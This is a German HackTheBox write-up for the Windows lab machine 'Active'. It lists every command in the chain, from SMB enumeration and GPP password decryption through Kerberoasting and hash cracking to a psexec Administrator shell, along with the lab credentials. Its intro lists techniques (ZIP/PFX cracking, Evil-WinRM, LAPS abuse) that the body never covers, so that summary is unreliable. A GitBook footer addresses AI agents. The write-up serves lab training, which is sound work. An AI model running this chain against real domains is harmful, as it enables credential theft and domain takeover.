> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md).

# Active HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Active mit Abdeckung von SMB-Enumeration, Knacken einer passwortgeschützten ZIP-Datei (fcrackzip), Knacken und Lesen einer .PFX-Datei (crackpkcs12), Erhalten von SSL-Zugriff mit Evil-Wi

{% embed url="<https://app.hackthebox.com/machines/148>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* SMB-Enumeration
* Knacken einer passwortgeschützten ZIP-Datei (fcrackzip)
* Knacken und Auslesen einer .PFX-Datei (crackpkcs12)
* SSL-Zugriff mit Evil-WinRM erlangen
* Informationsleck - Lesen des PowerShell-Verlaufs des Benutzers (User Pivoting)
* Missbrauch von LAPS zum Erhalten von Passwörtern (Get-LAPSPasswords.ps1) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9f8a1be2820110fc874101e94f44e0895fc0f3c%2Fimage%20(2089).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9bf04a8fa8a141c9719f12d810d13f803c0dff58%2Fimage%20(2090).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**/ Offene Ports auflisten und die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis exportieren:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff0b0a8ef18ec57bf65d6d815ac7379d46df22c2%2Fimage%20(2091).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**/ Mithilfe der Funktion extractport offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d62e2f05645f82ad8befa96d54224dbad9b16574%2Fimage%20(2092).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Port- und Versionsscan mit Nmap:**/ Nmap verwenden, um Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f2ec980d3e27c4f4e15f6afa0ea79939a90bb08%2Fimage%20(2093).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Aufzählung und Ausnutzung :**

### **SMB-Enumeration:**

Verwenden Sie crackmapexec, um Systeme aufzulisten und den Domänennamen zu finden.

```bash
crackmapexec smb 10.10.10.100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f276890946faae5bc956b762c9a43ded15e999f%2Fimage%20(1643).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Zeitanpassung mit NTP:**

Die Uhrzeit der Zielmaschine anpassen, um Probleme zu vermeiden

```bash
ntpdate 10.10.10.100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b3fe42ce1832f42ec95c9397960ef5a9f1c7ff%2Fimage%20(2099).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Konfiguration der /etc/hosts:

Domänencontroller zur Hosts-Datei hinzugefügt, um Ping zu ermöglichen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6944714e4e8974a3bd1359fb07183fc670492456%2Fimage%20(1644).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Freigegebene Ressourcen auflisten**

Verwenden Sie smbclient oder smbmap, um freigegebene Ressourcen im Netzwerk zu erkunden.

```bash
smbclient -L 10.10.10.100 -N
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1aff5994b80f2dce21d38e5506ba99b036c744ee%2Fimage%20(1645).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70534651d98afbea96c7cedf74e2ad3fb9fcd3de%2Fimage%20(1646).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Nach bestimmten Dateien suchen**:

Verzeichnisse nach relevanten Dateien durchsuchen

```bash
smbmap -H 10.10.10.100 -r Replication
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc495e0b897c906a053ecf559dd550fcbda5091b%2Fimage%20(1647).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100 -r Replication/active.htb
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a78244448fcc316b202844afba2cd50370fd45%2Fimage%20(1648).png?alt=media" alt=""><figcaption></figcaption></figure>

Das `groups.xml` Datei identifiziert, die vertrauliche Informationen enthalten könnte.

```bash
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26bf1be4ffcb3f2a80e549c8e5819c9f42357ad7%2Fimage%20(1649).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77543c7451c0357151402d73029d75cc36af21b1%2Fimage%20(1650).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Entschlüsselung des Passworts:**

Verwenden Sie `gpp-decrypt` zum Entschlüsseln gespeicherter Passwörter.

```bash
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-370f4614996d1ba0042ab30efb1d94d550a5b0d1%2Fimage%20(1651).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Validierung der Kennungen:**

Verwenden Sie crackmapexec, um zu prüfen, ob die Kennungen gültig sind

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afdd3f0e1aab2272babe773938540d613b3afcd%2Fimage%20(1652).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Berechtigungsprüfung:**

Verwenden Sie crackmapexec und smbmap, um Berechtigungen auf Netzwerkfreigaben zu erkunden.

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0302ddc9339c95bf7ed87a25680f753b9d206820%2Fimage%20(1654).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt-Flag erhalten:

```bash
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e10f350450347df74cfa44ca20dcfad704bd382%2Fimage%20(1656).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9f0a8bdfbedd96f069e9a7a306b2a77aef999f2%2Fimage%20(1657).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Anmeldung am Domänencontroller:**

Mit rpcclient mit dem Domänencontroller verbinden und Benutzer sowie Gruppen erkunden:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8d50175795880762fabaa6e19b27077c6d8b76f%2Fimage%20(2095).png?alt=media" alt=""><figcaption></figcaption></figure>

#### - Um die Mitglieder der Admin-Gruppe zu identifizieren:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'
```

#### - Um Benutzer in einer bestimmten Gruppe zu erhalten:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aea61c2fe124a97485708b74246a6d0827e9a329%2Fimage%20(2096).png?alt=media" alt=""><figcaption></figcaption></figure>

#### - Um die Beschreibungen aller Benutzer aufzulisten:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31c767e9a21e6717b930a8cdafb9ab30bdc01ae4%2Fimage%20(2097).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## Schwachstelle [Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast):

Die Kerberoast-Schwachstelle wird erfolgreich mit dem folgenden Befehl ausgenutzt:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
```

Dieser Befehl ruft ein TGS-Service-Ticket ab, das die Schwachstelle ausnutzt.

Dann wird der Befehl um den Parameter -request ergänzt, um einen Administrator-Hash zu erhalten:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f9d42eb87c8407588ec3688041f3990b346789c%2Fimage%20(2101).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Endgültige Ausnutzung:**

### **Hash-Knacken:**

Verwenden Sie John, um zu versuchen, die erhaltenen Hashes zu knacken.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bfb54403111756914bcecff9fcd0ebb290e403c%2Fimage%20(2102).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Validierung der Kennungen:**

Verwenden Sie crackmapexec, um die erhaltenen Anmeldedaten zu validieren

```bash
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e47ab9e0f7968b52620b69faa837956e9ad6991%2Fimage%20(2103).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Ausführung mit PsExec:**

Verwenden Sie psexec.py, um eine interaktive Shell als Administrator zu erhalten.

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aeae93e7e24db869972860f7f7112879e047dfca%2Fimage%20(2104).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Finale Flag erhalten:**

Das finale Flag wird erfolgreich erhalten, sobald der Administratorzugriff erlangt wurde.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-018797dae57a0888b4fa10ca2a0f56dccdaa93c2%2Fimage%20(2105).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bab00a5f918b48a697b92843207c2eb0785ae133%2Fimage%20(1410).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
